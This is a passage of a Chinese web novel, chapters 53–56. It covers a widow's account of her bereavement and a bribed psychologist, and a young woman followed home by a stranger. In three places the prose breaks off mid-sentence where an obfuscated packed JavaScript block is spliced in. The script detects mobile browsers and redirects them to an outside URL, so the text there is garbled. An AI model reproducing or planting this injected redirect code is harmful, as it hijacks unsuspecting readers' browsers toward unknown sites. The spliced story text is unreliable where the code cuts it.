男人如愿以偿问到了路,先赵芹一步离开诊所,背着包快步往目的地走去。
初遇无疑是一次相当不美好的经历,赵芹也没想过会有再见的那一天,毕竟男人的目的地和她的目的地是完全相反的方向。
第二次相遇赵芹是在去公司的路上,看着还是那身打扮的男人只是惊喜了一下,随后两人很短暂地走过。
接下来便是第三次、第四次、第五次……
两人刚开始只是对视一眼匆匆走过,不知道从第几次开始,会打声招呼,后来还会停下脚步聊上几句。
赵芹也知道了对方的名字叫“李忠”,是一名战士,这次是回来休假的。
可以说,李忠是赵芹不要命工作的那个阶段照下来的一束光。
为了握住这束光,赵芹打破原本定好的一眼望到头的生活,果断拒绝父母安排的商业联姻,把李忠带回家给他们看,态度相当强硬地给自己争取了一场想要的姻缘。
同李忠在一起无疑是赵芹这辈子做出的最偏离人生轨迹的赌注,好在,李忠没有让她失望。
两人虽然见面次数很少,但感情一直以来非常好。
只是天有不测风云,这束光以闹剧开场,又以悲痛落幕,留给赵芹的,只剩下尚在肚子里面,还未出生的孩子,以及那些只停留在脑海中的相处画面。
赵芹为分公司累出一身病,又是高龄产妇,丈夫还壮烈地离开了她。然而她的父母却毫不心疼自己女儿身体上的疼痛和内心的痛苦,在赵芹还在坐月子的时候就开始以“为了家中事业”这个理由让她再嫁。
53. 第五十三章
赵芹被烦得心寒、恶心,干脆连月子也不坐了,拖着身体再次投入到工作中,直到儿子上了幼儿园,咬牙果断拿钱自己创办了一家公司,算是表明要和父母那边划清界限。
虽然投资成本不大,但赵芹多年积攒下来的人脉是实打实的,公司一天比一天好,也称得上是盆满钵满。
公司从小迅速壮大,甚至把父母的生意压得简直没有活路,家里人除了赵茉外,其余的人一见到赵芹就言语呛她,指责她是个白眼狼。
赵芹懒得同他们浪费口舌,把所有的反击全都留在生意场上。
那个时候,赵芹不光目光长远,手段更是狠辣。
如果不是五年前的那场意外,她说不定真的会报复性地吞并掉父母的公司,而不是像现在这样,早早当了甩手掌柜,把公司交给信任的人帮忙打理,自己一年到头也不去几次,整天独自在家喝茶、看书,连个说话的人都没有。
命运上的变故总是让人唏嘘,最关键的是没有“如果”一说,不管是悲伤的事,还是高兴的事,发生了就是发生了,任谁也改变不了。
好在人类最强大的能力不在于发明和创造,而是在于当祸事接二连三以迅雷不及掩耳之势找上门的时候,我们依然有能力找到扛过风浪的办法,直到一切回归正轨。
谈及往事,赵芹原本套在身上的坚硬外壳早已被击碎,留下的不过是和两个爱人相隔甚远的皮囊。
她的语速很慢很慢,偶尔讲着讲着会停顿住陷入回忆,花了一个多小时把往事讲完,这次她没再落泪。
莫宁听故事的反倒哭了,一张脸被眼泪糊得乱七八糟,还因为生怕打扰到赵芹,不敢发生太大的动静,憋得耳朵尖都红着。
赵安梦同样好不到哪儿去,只是垂着头,脸被头发遮挡得严实,看上去比莫宁状态要好而已。
不光她们两个,柳南絮同样不知道眼下该说些什么才好,千言万语拥堵在喉咙口,吐出来的不过是“节哀”这个从头到尾散发着无力的词。
“所以,”柳南絮堪堪找回之前的话题,“赵女士你害怕我这个职业,是后来又发生了什么事吗?”
赵芹拿起水杯哆嗦着手把剩下的水喝完,才说:“我之所以把公司交给别人帮忙打理,是因为在我儿子去世后我的状态非常不好,根本没办法投入到工作上。”
“为了让自己尽快恢复,我去看了心理医生,没想到对方被我母亲收买了,根据他的治疗方法,我的状态愈发差劲,也愈发依赖药物。”
“这些内情还是我姐姐无意间偷听到了母亲和父亲的对话,然后特意告知了我,不然,我现在早就如他们的意被关进精神病院了。”
赵安梦抬头愣愣地看着赵芹,显然也是第一次得知这件事。
莫宁也看过心理医生,不敢想象在自己本来就崩溃的状态下又叠加上这种事,自己还能不能撑得过去。
这种人分明就是行业之耻,柳南絮也坐不住了,追问:“那个心理医生最终怎么样?”
“被法律制裁了。”赵芹吐出一口气,苦涩地笑了一下,“只是我对这类行业还是心存芥蒂,总觉得自己会被看穿,浑身不自在。”
因为害怕,所以只能用冷漠把自己包裹起来。
谁也没想到,今天晚上这顿饭能翻搅出如此多的痛苦,登时眼下的情况变得谁开口说话都不太合适,于是包厢内再次陷入安静。
最终还是赵芹拿起筷子,示意大家吃饭。
美味佳肴吃到嘴里如同嚼蜡,一顿饭吃完时间已经临近半夜,赵芹没再提“怎么和福安安打好关系”这个问题,倒是在分别前向柳南絮提出“再一起去全健福利院”的请求。
柳南絮没有拒绝,很爽快地答应了。
莫宁从赵安梦开车载着赵芹回家就表现出有话要说的样子,柳南絮本来想让她自己说,奈何莫姑娘忍耐力与日俱增,车子都在“镇东村”的马路边停稳了,她还是没说。
柳南絮实在搞不懂她要说的话有什么值得顾虑的,只好主动问:“你想说什么?”
莫宁刚开始还打起哈哈,说:“我没什么想说的啊!”
既然自己主动问,她还是不说,柳南絮不管了,提醒道:“那行,到村口了。”
莫宁也没想到柳南絮会来这一招对付自己,生怕被赶下去,忙说:“好吧!好吧!我确实有话想说。”
柳南絮没说话,但是扭头把视线往莫宁身上放了一下。
莫宁看懂这是让自己说话的意思,瞅着柳南絮问:“你是不是觉得赵女士很可怜呀?”
这话问的就挺有意思,柳南絮不由得心想:她这样问,在包厢里面哭成那样,该不会是装的吧?
要真是装的,那演技进步也太快了。
柳南絮想着,便没有回答,反问:“这话问的,难道你不觉得?”
莫宁回答得很快,说话语气都在替赵芹觉得不公,道:“怎么不觉得?赵女士既没有一个良好的原生家庭,心爱的丈夫又为国捐躯,早早离她而去,没多久又承受起丧子之痛,看个心理医生还被算计,这都什么事?我光听着都难受。”
“所以你到底想说什么?”柳南絮指了指显示屏上的时间,提醒莫宁已经很晚了,没那么多时间浪费。
莫宁往柳南絮那边凑了凑,说话的音量也降低了,终于问道:“我是想知道你会不会帮赵女士同福安安打好关系,她最后说的那话,要和你一起去全健福利院是什么意思,我可听明白了,你肯定也听明白了。”
柳南絮刚无声表示过没那么多时间浪费,这会儿轮到自己回答,又把问题给莫宁丢了回去。
“你认为我应不应该帮助赵女士同福安安打好关系?”
“不应该。”莫宁回答得相当简单且果断。
柳南絮和莫宁想到了一起,但还是问她为什么。
莫宁还以为柳南絮追问是因为打算帮助赵女士,瞬间拿出架势阻止他。
“虽然赵女士确实很可怜,但是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223769|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
福安安就不可怜吗?”
“‘被收养’确实是福利院大多孩子最渴望的一件事,可福安安明显不是大多数孩子,他在小部分那里面。”
“再说了,愿不愿意被收养是看福安安自己的想法,而不是被人洗脑干涉后做出的决定,说直白点,你要是只站在赵女士的角度去帮忙的话,实在不合适。”
柳南絮装作虚心请教的样子,道:“那你说说,我怎么做才能让两边都满意?”
“不如有机会的话,把他们两个叫到一起好好聊聊怎么样?”莫宁不看柳南絮了,目视正前方,“主要是我和福安安接触得太少了,目前只能想到这一个办法。”
柳南絮点点头,夸赞道:“主意不错,之后我先各自在私下问问他们愿不愿意,如果愿意的话,按照你说的那样,坐一起聊聊。”
“其实吧!掺和这种事儿对我来说挺难的,还真有点佩服你的工作。”莫宁说着伸出右手,“柳南絮,一起加油吧!虽然我年纪小,社会经验不足,但是会尽量不拖你后腿的。”
柳南絮无视莫宁伸过来的手掌,一边解安全带一边说:“没觉得你拖我后腿,恰恰相反,要不是有你,很多线索单凭我一个人根本找不到,很多事也处理不了。”
“太谦虚了。”莫宁撇了一下嘴,有些尴尬地收回手,随即迅速解开安全带,和柳南絮同时拉开车门下车。
回家的路上同往常一样没有灯,但并算不上是漆黑一片,柳南絮快莫宁半步,看起来像是个探路者。
今晚风的步子都很轻,是一个平静的天气。
两人耳边响起的只有脚步声,莫宁这个小话痨都无比享受当下的氛围。
突然,不知道哪里传出野猫的叫喊声,难得舒适的氛围当即被打断。
野猫的叫喊声还在持续,莫宁也憋不住了,没话找话问:“柳南絮,还有你办不到的事吗?”
柳南絮被问笑了,说:“我没想到你看我的滤镜这么厚,我只是一个人,肯定会有了。”
莫宁听见柳南絮笑了,也扬起嘴角,非要柳南絮举个例子。
“就比如……”柳南絮想到件有意思的事,卖了一下关子才说,“我找不到一张比21.60更少的截图。”
“怎么可能?浏览器上一搜索绝对有。”莫宁前一秒还急于反驳柳南絮,后一秒便闭上嘴开始认真想柳南絮说的话的意思。
大约过了三秒,莫宁想明白了,快步走到柳南絮面前,不可思议地看着他,问:“所以那个时候你是故意的?”
“对呀!我就是故意的。”柳南絮笑得更加得意。
莫宁顿时气不打一处来,问道:“柳南絮,我当时那么严肃紧张,你还有心情开玩笑?幼不幼稚?你知不知道我都在想要留在那里刷多久盘子才能付得起那一桌子饭钱了?”
“知道你紧张,那不是想着让你放松点。”柳南絮抓抓头发,像是后知后觉意识到太傻,“确实太幼稚了,只是我没想到那都能骗到你。”
54. 第五十四章
想想也是,21.60块钱。
莫宁气着气着也笑起来,说:“也就你了,再换一个人,谁都骗不到我。”
这话实在容易让人多想,好在柳南絮半点不自恋,只当字面意思理解,抬起脚继续往前走,往下接了一句:“你这话说得我心里面更加愧疚了。”
莫宁大步跟上,保证道:“放心,我大人有大度,之后不会旧事重提和你计较。”
野猫的喊叫声彻底消失了,两人今天该聊的也聊完了,正巧目的地也到了。
柳南絮照旧看着莫宁进去,照旧等落锁的声音传来,照旧独自往马路边走去而后往家赶。
好不容易收拾妥当躺到床上,柳南絮总感觉有什么很凑巧的地方,一通辗转反侧也没能想起来,兴许是把自己逼得急了,不知不觉跌进了梦乡。
一夜无梦,清晨睁开眼,第一件事居然是想到是哪里凑巧了。
在手机相册里点开从网络上保存下来的那张图片,上面的数字清晰无比——21.60。
昨天他保存的时候只觉得这个数字像是在哪儿见过,但也只是一瞬间,现在可算是记起来了。
六月二十一号,就是宋彩彩墓碑上刻着的去世时间。
也不知道这个勉勉强强想起来的时间点会不会成为一条有用的线索,但柳南絮还是顺手发了个消息告知莫宁。
同样刚起床的莫宁听见手机响了一下,打着哈欠捞过点开。
“宋彩彩的离世时间是六月二十一号。”
哈欠打到一半,被莫宁生生憋回去,手指飞快打字,问:“怎么得出来的?”
很不凑巧,莫宁发消息过来的时候,柳南絮去洗漱了,手机落在了床头柜上。
莫宁在这边抱着手机连眼都不舍得多眨一下,等得那叫一个焦急。
要不是听见电话铃声,柳南絮都会等吃过饭再看手机。
“喂!莫宁,什么事?”
由于迟迟等不到消息,莫宁只能打电话询问:“你没看消息?”
柳南絮边缩小通话页面看消息边解释:“我刚才在洗……”
莫宁匆匆打断柳南絮,说:“算了,那不重要,你是怎么知道宋彩彩离世时间的?”
柳南絮退出消息页面,重新把通话页面放大,很自然地回答:“她墓碑上刻得有啊!”
“你说的是那个啊!”莫宁不由得一阵失望,“我还以为是死亡校车上受害者的离世时间。”
柳南絮明白了,也难怪莫宁会这么着急,墓碑上刻的是宋彩彩在看不到死亡校车的人眼里离世的时间,他们需要调查的,是宋彩彩在死亡校车上离世的时间。
“我只是突然想起来了,不知道你注意到没有,所以就给你发个消息说一声,怪我没说清楚。”
柳南絮的态度实在太好,莫宁根本没办法再说什么,挂断电话躺倒在床上,冲着天花板无奈地嚎了一嗓子,嚎完定的闹铃就响了。
已经到要出门的时间,她人还在床上躺着。
莫宁再不敢磨蹭,快速收拾妥当出门,一路狂奔到公交站点到底还是没能赶上。
看着公交车的车屁股,莫宁喘着大气欲哭无泪,等下一班公交车来,她铁定会迟到。
工资啊!微薄的实习工资啊!
清晨凉爽的风刮在莫宁身上,帮她拂去狂奔出来的热气。她一边平复着呼吸,一边思考对策。
就算迟到会扣工资,那也不能不去。抛开工资不谈,莫宁还是挺喜欢现在的工作的,同事、学生她都能相处得很融洽。
只是即便莫宁再想快点赶到也没办法,毕竟她在这里实在没有认识的人,哪怕一个都没有。
看着时间逐渐流逝,莫宁妥协了,开始给老板发消息告知没赶上公交,会晚点到。
老板的回复来得很快,表示不用着急,还叮嘱莫宁记得吃早饭,路上注意安全。
这还是第一次上班迟到,心里面难免紧张,看到老板的消息,莫宁捧着手机猛松一口气,随即扬起笑,在心里安慰自己想:没关系!美好的一天才刚刚开始。
三分钟后,等公交车的人依旧没等来公交车,倒是等来了一辆熟悉的私家车,开车的人同样很熟悉。
柳南絮降下车窗,冲看着自己的莫宁喊道:“上车。”
说来还真是缘分,虽然是在郊区,但在白天还是有不少人过路的,尤其是上班、上学的高峰期。
可是,柳南絮开着车停在路边的时候,莫宁的视线偏偏就是刚好和他的视线碰撞到了一起。
一分一秒都不差,目光触及的那一刻,惊喜感顺着每一个毛孔往外跑。
莫宁完全没想到柳南絮会来,一时间十分雀跃地跑到跟前,扒着车窗弯腰问:“你怎么来了?”
柳南絮笑了,说:“先上车。”
莫宁立刻听话上车,乖得不像话,把车门关上后又问了一遍:“你怎么来了?”
“系安全带。”柳南絮不得不再次提醒。
莫宁照做,脸上惊喜的神色半点没掉。
柳南絮转动着方向盘,回答道:“猜你或许会因为我发的消息赶不上公交,来为自己做出不周全的行为负责。”
“柳南絮,你太可靠了,你是不知道,等我赶到公交站点只看到一个车屁股后,当场认为自己铁定该迟到了,我还给老板发消息了。”
说着,莫宁举了一下手机,要不是因为柳南絮在开车,没办法看手机,说不定她还真会让柳南絮看看聊天记录。
托柳南絮的福,莫宁最终没有迟到。
不过当莫宁踏进培训机构后,老板田玉英立刻笑眯眯地凑到她跟前,也不说话,就那样看着。
莫宁被看得心里有些发毛,问:“老板,你这是什么眼神啊?”
“我什么眼神你看不出来?八卦的眼神呗!”田玉英瞅了一眼马路,“那是谁啊?”
“什么谁啊?”莫宁说着也往马路上看去。
田玉英不瞅马路了,改为撇嘴,说:“还能是谁,送你来的人呗!”
莫宁可算是反应过来了,解释道:“哦!他啊!我妈闺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228695|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蜜的儿子。”
田玉英不依不饶,又问:“那你和他什么关系?”
莫宁直接抬脚往舞蹈教室走,只留下一句:“我俩能有什么关系?”
田玉英没追上去,远远冲着人喊了一声:“莫宁啊!近水楼台先得月。”
莫宁瞬间把脚步变快,田玉英看着她逃似的背影笑得眼睛都没了,心想:小姑娘还真蛮有意思的,这就害羞了。
她刚想完,挂在玻璃门上的风铃就响了。
听见动静,田玉英寻声望过去,同来上课的小姑娘打招呼,道:“钟响,早上好呀!”
“老师,你也早上好!”打好招呼后钟响却没进教室,而是又问,“田老师,什么是近水楼台先得月啊?”
田玉英没想到小姑娘耳朵还挺尖,隔扇玻璃门都能听到,想了一下还是觉得解释比不解释要好,便道:“意思就是说,离得近的,会先得到。”
钟响做出恍然大悟的表情,长长地“哦”了一声。
田玉英连忙催促道:“好了,快上课了,该进教室了,快去吧!”
钟响同田玉英再次问了声好,便蹦蹦跳跳跑向教室。
等到钟响的身影进入到教室内,风铃再次响起。
这次推门进来的不是某位来上课的学生,也不是培训机构内的哪位老师,而是一位女家长。
女家长看起来非常憔悴,身形更是单薄得很,胳膊上拐着一只鼓鼓囊囊的黑色皮包,把本来没多少肉的胳膊勒得出现一条痕迹。
见到人,田玉英一副见怪不怪的样子,往前一步,和往常一样招呼她,道:“响响妈妈,来了,先坐吧!”
“好,谢谢!”孔月娜一边熟练地回应着,一边坐在了沙发的最边上。
她所坐的位置,是离钟响上课的教室最近的位置。
田玉英同她只有这么一句简单的对话,等人坐下就去别处忙活了。
整个等待过程孔月娜一点位置也没挪,直到听见放学铃声响起,才从沙发上站起来。
不过她自始至终都在紧张兮兮地瞅着教室门口,视线依次扫过从里面走出来的每一位学生。
见到钟响出来,女人原本无神的眼睛闪了一下,随即又迅速恢复成原样。
钟响出来看到妈妈,很高兴地跑到跟前。
不等小姑娘说话,手里就多出一个水杯。
钟响还不太渴,只想同妈妈分享被老师夸赞的喜悦,抱着水杯说:“妈妈,我和你说……”
孩子说了什么孔月娜完全没听进去,嘴里不停地念叨:“先喝水,先喝水。”
钟响心里非常抗拒,但又因为知道自己妈妈是什么情况,最终没让“抗拒”跑到脸上,而是很认真地和妈妈解释,道:“你在我书包里面放水杯了,下课的时候我已经在教室里面喝过水了,所以现在还不太渴。”
孔月娜根本不听,把塞到钟响手里面的水杯抽出来,打开瓶盖就往钟响的嘴巴上凑,同时微皱眉头,声音倒是特别温柔地劝道:“喝水,快喝水,喝一口就好了。”
55. 第五十五章
钟响被水杯的瓶口戳到了牙龈,生疼,眼睛里顿时灌上眼泪。
偷偷往这边看的人不少,但没有一个出来制止。
大家早就已经习惯了这对母女的相处方式,明白就算上前制止也没什么用。
果然,钟响没再反抗,连疼都没喊一下,任由妈妈喂自己喝水。
孔月娜说话也特别算数,见到钟响咽下第一口水,当即把眉头舒展开,笑盈盈地接过钟响递过来的水杯,拧好瓶盖,牵起钟响回家。
田玉英过来的时候孔月娜和钟响已经离开,见莫宁巴巴望着门口误以为是在等人,打趣她道:“咱俩可先说好,你要当望夫石别在这里。”
莫宁还在回忆刚才的画面,只在嘴上下意识反驳田玉英,道:“谁当望夫石了?”
“还能是谁,你呗!”眼看莫宁又要反驳自己,田玉英紧接着说,“不过你不用不好意思,早上我看到那小伙子了,人挺干净的,看起来是个蛮好的人。”
“我真不是在等他,我俩真没关系,我是在想响响妈妈和响响。”
想到刚才的事情,莫宁也不再执着于解释她和柳南絮的关系了,趁机向田玉英打听道:“她家到底是个什么情况,老板你知道吗?”
关乎自己的学生,田玉英当即正经起来,说:“不清楚,那都是人家的家事,我一个外人没办法打听。”
说完见莫宁还在愣神,赶忙又问:“怎么了?是放学后发生了什么吗?”
“刚才响响妈妈逼响响喝水,响响明显不乐意,眼看都快哭了,可是没想到居然还是乖乖喝了水,不哭不闹地回家了。”
莫宁描述完刚才的画面,说出自己的猜测,道:“所以我在想,响响会不会有被家暴的风险。”
田玉英完全可以根据莫宁的描述想象到刚才的画面,有些无奈地叹了口气,说:“起初我和你有一样的想法,可是不好直接去问响响或者是响响妈妈,便交代了小王老师,让她只要发现响响身体有受伤的痕迹立马来和我说,但是目前并没有发现响响有被家暴的痕迹。”
小王老师是负责教钟响的舞蹈老师,为人工作能力很强,还很关心自己的学生。
如果她没有发现,说明就是没有。
猜测目前处于被否认的状态,莫宁不说话了,她明白自己的能力很小,困着自己的谜团已经占据了全部的个人时间,所以她并没有非要凭借自己的能力把钟响从痛苦中拯救出去。
不过,当得知不止自己一个人觉得蹊跷,有人比自己还要早就开始默默守护钟响小朋友的时候,莫宁的内心感觉特别温暖。
田玉英不想过多地议论学生,有意扭转话题,再次故意问道:“今天早上,是个什么情况?”
为了避免老板再瞎想,莫宁撒了谎,说:“我起床晚了,没赶上公交车,所以找他帮帮忙。”
如果莫宁实话实说,田玉英还真会从各个角度追问一下,但“起床晚”这是很好理解的错误,田玉英当即信了,只说:“哦!是这样啊!”
被田玉英这一打岔,莫宁也不再深究孔月娜和钟响这对母女,看了一下时间连忙咋咋呼呼地道别去赶回“镇东村”的公交车。
不像早上那样只看到了公交车的屁股,莫宁这次刚到公交站点,所要乘坐的公交车就来了。
莫宁原本是想坐靠窗的位置,可是上班族几乎都是这个时间段下班,所以公交车上的空位剩的不多,她只能坐到临近过道的位置上。
之前莫宁并不纠结靠窗不靠窗,只是近段时间她突然发现,原来自己每天乘坐的公交车是会途经心理咨询工作室的。因为这个发现才想坐靠窗的位置,方便看一眼心理咨询工作室。
但要说为什么会看,她也不知道,总之就是反应过来的时候已经那样做了。
今天莫宁照旧看过去,依然只看到那个熟悉又不熟悉的门店快速从视线内划过。
好在邻座的乘客始终闭着眼睛在打瞌睡,估计连身侧的位置上什么时候多出一个人都不知道,这让莫宁对自己刚才的行为少了几分不好意思。
把视线挪到正前方的时候,莫宁发现邻座的乘客是一位长相非常干净清爽的男子,由于空间狭小,腿又太长,显得他整个人有些憋屈。
她正想着,一直在睡觉的乘客竟然醒了,两人顿时四目相对。
莫宁强装镇定,率先挪开视线,心里面尴尬得抓狂。
邻座的乘客同样没说什么,只是扭头对着窗外瞅了一眼,扭回来时对莫宁笑了一下才又闭上眼睛。
为了避免尴尬的事再次上演,莫宁到下车都没敢往右边瞅一眼。
随着公交车往郊区走得越深,车上乘客的数量越来越少,停靠到“镇东村”站点的时候已经没剩几个人了。
莫宁下车后感觉身后跟着一个人,可之前从来没有谁是和自己一起下车的,便快走几步,同身后的人拉开距离,然后突然转身,最后发现竟然是邻座的乘客。
邻座的乘客冲莫宁笑着点了一下头,迈着步子很快超过她,自顾自地往前走,就是脚步虚浮,看样子还在犯困。
即便如此,莫宁依旧没有放松警惕,毕竟村子虽然小,路口却又多又窄,突然窜出来一个人偷袭还是比较难逃脱的,更何况目前为止她并没有在这附近发现过摄像头。
可是不能一直干耗着,家总归是要回的。
莫宁站在原地紧攥着手机好长时间,脑海里不停地在思索手机电话簿上的备注。
在莫宁尤为紧张的时间里,心理咨询工作室这边,不过刚到下班的时间点。
刘景人都要顺着楼梯往下走了,柳南絮找出来,说是有事要问,他只好又退回到办公室里。
“怎么了?”刘景把眼镜去掉,掏出眼镜布慢慢擦拭。
“学长,我想请教一下,昨天中午你……”
柳南絮还没问完,手机来电铃声响起,他只好停顿下,看了一眼手机,对刘景抱歉地说:“不好意思,我先接个电话。”
刘景点点头,手上倒是没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240182|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再继续擦拭眼镜,而是改为按压鼻梁。
接通电话,柳南絮走到窗边,开口道:“喂!莫宁。”
莫宁想来想去,觉得还是打给柳南絮最合适,但她不清楚到底是不是自己过于敏感了,所以在柳南絮的声音传过来后,并没有告知对方自己目前处于什么情况,只问:“喂!柳南絮,明天不是你的休息日嘛,你去不去全健福利院?”
柳南絮没听出奇怪的地方,回答:“明天不去,那边还没放开预约通道。”
“哦!”在打电话的过程中,莫宁加快脚步往家赶,为了拉长通话时间,她绞尽脑汁扯话题,“那你打算什么时候去?”
如果可以,别说明天了,柳南絮现在就想去,那边的线索没有收集齐总归要一直惦记着。
“不清楚,只能看那边什么时候让去了。”
“我就是想说,你要是去的话提前和我说一声,我好给老板请假。”
莫宁说话的同时转了个弯,目光的尽头变成绿油油的麦田,把视线往后退段距离,就是家的位置。
然而,那扇熟悉的大门前现在站着一个不熟悉的男子。
看衣着打扮,是那位邻座的乘客。
莫宁当即停下脚步,不敢再往前走了,电话也被捏得更紧。
“好。”柳南絮说完,没了下文,等着莫宁继续说。
等了几分钟,迟迟没有声音传来,柳南絮终于察觉到不对劲,神色立刻变得严肃起来,问:“莫宁,你是不是遇到危险了?”
这句话一问完,连靠着沙发背闭目养神的刘景都睁开眼睛坐直了。
莫宁庆幸柳南絮猜到了,不巧那名男子突然扭头看向了她这边,更让她害怕的是,目光相撞后那人朝她走了过来。
越是到危险的时刻,越不能慌乱,一慌乱,坏人的可乘之机就会更大。
莫宁强装镇定,尽量控制说话的唇形,小声说:“估计是。”
柳南絮问完就已经有了动作,得到答案后跑得更快了,刘景见他那么慌张,也坐不住跟上。
“你现在在镇东村,还没有到家?”柳南絮问完,已经拉开了车门。
这个问题很好回答,莫宁连嘴都没有张,回答:“嗯!”
等到刘景追出心理咨询工作室,柳南絮已经发动了车子,他只好抓紧时间仓促问道:“位置。”
“镇东村。”车尾气把柳南絮的回答甩给刘景,车带着人迅速远去。
晴朗一天的天气莫名开始闹起坏脾气,几片乌云在上方很是嚣张,逼得太阳提前结束了与月亮换班的流程。
柳南絮感觉到天色的变化,不断安抚莫宁,说:“别挂断电话,我现在正在往你那边赶,你不用紧张,天还亮着,别害怕。”
莫宁知道柳南絮既要警惕注意路上的车辆,又要想办法安慰自己很不容易,不想给他太多压力,竟然笑着说:“我还行,不要紧,倒是你,要注意点才是。”
话音落下没多久,男子已经走到了她的面前。
56. 第五十六章
许是见莫宁在打电话,没有下一步动作,只是一直微笑地看着她。
莫宁被看得不自在,实在笑不出来了,放下举手机的手,主动询问:“请问有什么事吗?”
柳南絮本来在思考接下来说些什么,听到莫宁的话思路瞬间被打断,随后还处于通话中的手机传过来一道陌生男子的声音。
“你打完电话了吗?”
莫宁眼神中露出戒备,没回答男子的问题,再次反问:“请问你是有什么事吗?”
“我不是坏人。”男子笑了笑,试图以此打消莫宁的害怕。
莫宁嘴上没说话,连表情都没有发生细微变化,心想:有几个坏人会说自己是坏人的?坏人要真那么好辨认,“死亡校车”的凶手早就找到了。
男子继续解释道:“我的手机没电关机了,所以想向你借下手机打个电话,但见你一直在打电话,所以想等你打完再借。”
“我还没打完,不好意思啊!”莫宁说完就要走,还没走几步再次停下。
男子本以为莫宁是同意借他手机了,实际上是莫宁还没有打消心里面的害怕,担心这样回家暴露自己的住址。
僵持着,僵持着,柳南絮赶来了。
看到莫宁平安无事,柳南絮提着的心可算落了回去,站在莫宁的身后重重吐出一口气。
连他本人都没想到,自己居然会在人前这样做。
不过柳南絮没时间想那么多,向前迈一步,走到莫宁身旁,没说送她回家,而是问:“饿不饿?附近有家夜市听说味道不错,想不想去?”
这还有什么好犹豫的?莫宁迅速做出回答,一个字:“去。”
“那我们现在直接过去吧!再晚点该没位置了。”柳南絮说着带莫宁转身往马路的方向走。
柳南絮故意把莫宁换到外侧的位置,自己处于离那名男子最近的位置上。
擦肩而过的时候,男子着急忙慌地喊道:“兄弟等一下,可以借我一下手机打个电话吗?”
通过短暂的对视,柳南絮不觉得男子有别的什么目的,就大大方方把手机递过去。
男子一边道谢,一边拨通号码。
不凑巧,电话打过去没人接,自动挂断后男子再次道谢并把手机还给了柳南絮。
更不凑巧的是,乌云由几片扩大至把目光所及之处的天空全笼罩到了,几声闷雷打过,大雨“唰”地一声掉落下来。
柳南絮眼疾手快,脱下外套搭到莫宁的头上,带人去夜市吃饭。
坐到车里,柳南絮翻出一条毛巾递给莫宁。
莫宁拿着干毛巾挺不好意思,看柳南絮发梢滴着水,提议道:“要不我们不去夜市了吧!我想吃许阿姨做的饭了。”
柳南絮没说话,脚踩油门把夜市远远甩在身后,在下个路口转弯直奔家的方向。
听见门响,正在看电视的许静立马放下遥控器,见到莫宁和柳南絮淋了雨,心疼得连忙迎上前。
“哎呀!儿子你快去换身衣服,莫宁,来,”许静叮嘱完柳南絮,带着莫宁到卫生间,“你这么细腻的皮肤穿我的衣服显老,置物箱里面有吹风机,许阿姨帮你吹干,好吧!”
莫宁拿出吹风机,没给许静,道:“没事,我自己可以的,其实我也没淋到多少,不碍事的。”
许静比莫宁自己还要重视她的身体,说:“什么不碍事,生病可不是小事,知道你这孩子是不想麻烦我,我也不硬帮你,但是你自己可要吹干了,听话啊!”
莫宁应了一声,许静美滋滋地关上门出去。
柳南絮回房间换了一身衣服,再出来手里瞬间多出一副碗筷。
“快来吃饭,等下凉了就不好吃了。”许静把柳南絮招呼到餐桌前坐下,又问,“莫宁也还没吃饭的吧?”
柳南絮夹了一筷子菜,点点头,把莫宁的话原封不动说给许静听。
当许静得知莫宁是专门来吃饭的后,更是高兴得扯上围裙直说要再添两道菜。
吹风机的声音太大,还关着门,前面的对话莫宁没有听见。吹风机一关,她刚好听见“再添两道菜”这句关键话语,立刻放下吹风机慌里慌张拉开门阻止许静。
许静系围裙系到一半,被莫宁按住了手,无奈地说:“你这孩子,难得到家吃一顿饭,就算不添两道菜,添一道菜也是有必要的,别和我客气,都是自家人。”
“许阿姨,我真没客气,这些都够吃了,再做就吃不完了。”
莫宁一个劲儿地拒绝,两只手都摆出了虚影,总算是把人给拦下。
“那行,你坐下好好吃,不够和我说,既然来吃饭,就不能瘪着肚子回去。”许静只好把系了一半的围裙解开重新放回去,为了让莫宁专心吃饭又坐到客厅的沙发上看电视。
身后传来几声闷雷,柳南絮转身往窗外看了一眼,问:“妈,我爸又下楼遛弯去了?”
许静远远回道:“可不是,没下去几分钟就下雨了,你们回来碰见他了吗?”
“没见着。”外面的雨还在下,柳南絮放下碗筷站起身,“我出去找找他,看这雨不像是雷阵雨,估摸一时半会儿不会停。”
许静冲着已经走到玄关处的柳南絮摆手,说:“你快坐下吃饭,不用管他,他那么大的人了难道会不知道躲雨吗?没回来肯定是没被淋到。”
这话说得确实在理,柳南絮也不墨迹,重新回到餐桌前吃饭。
电视机里面上演着俗套的家长里短的剧情,演员们演技不错,把屋子搅和得热闹至极。
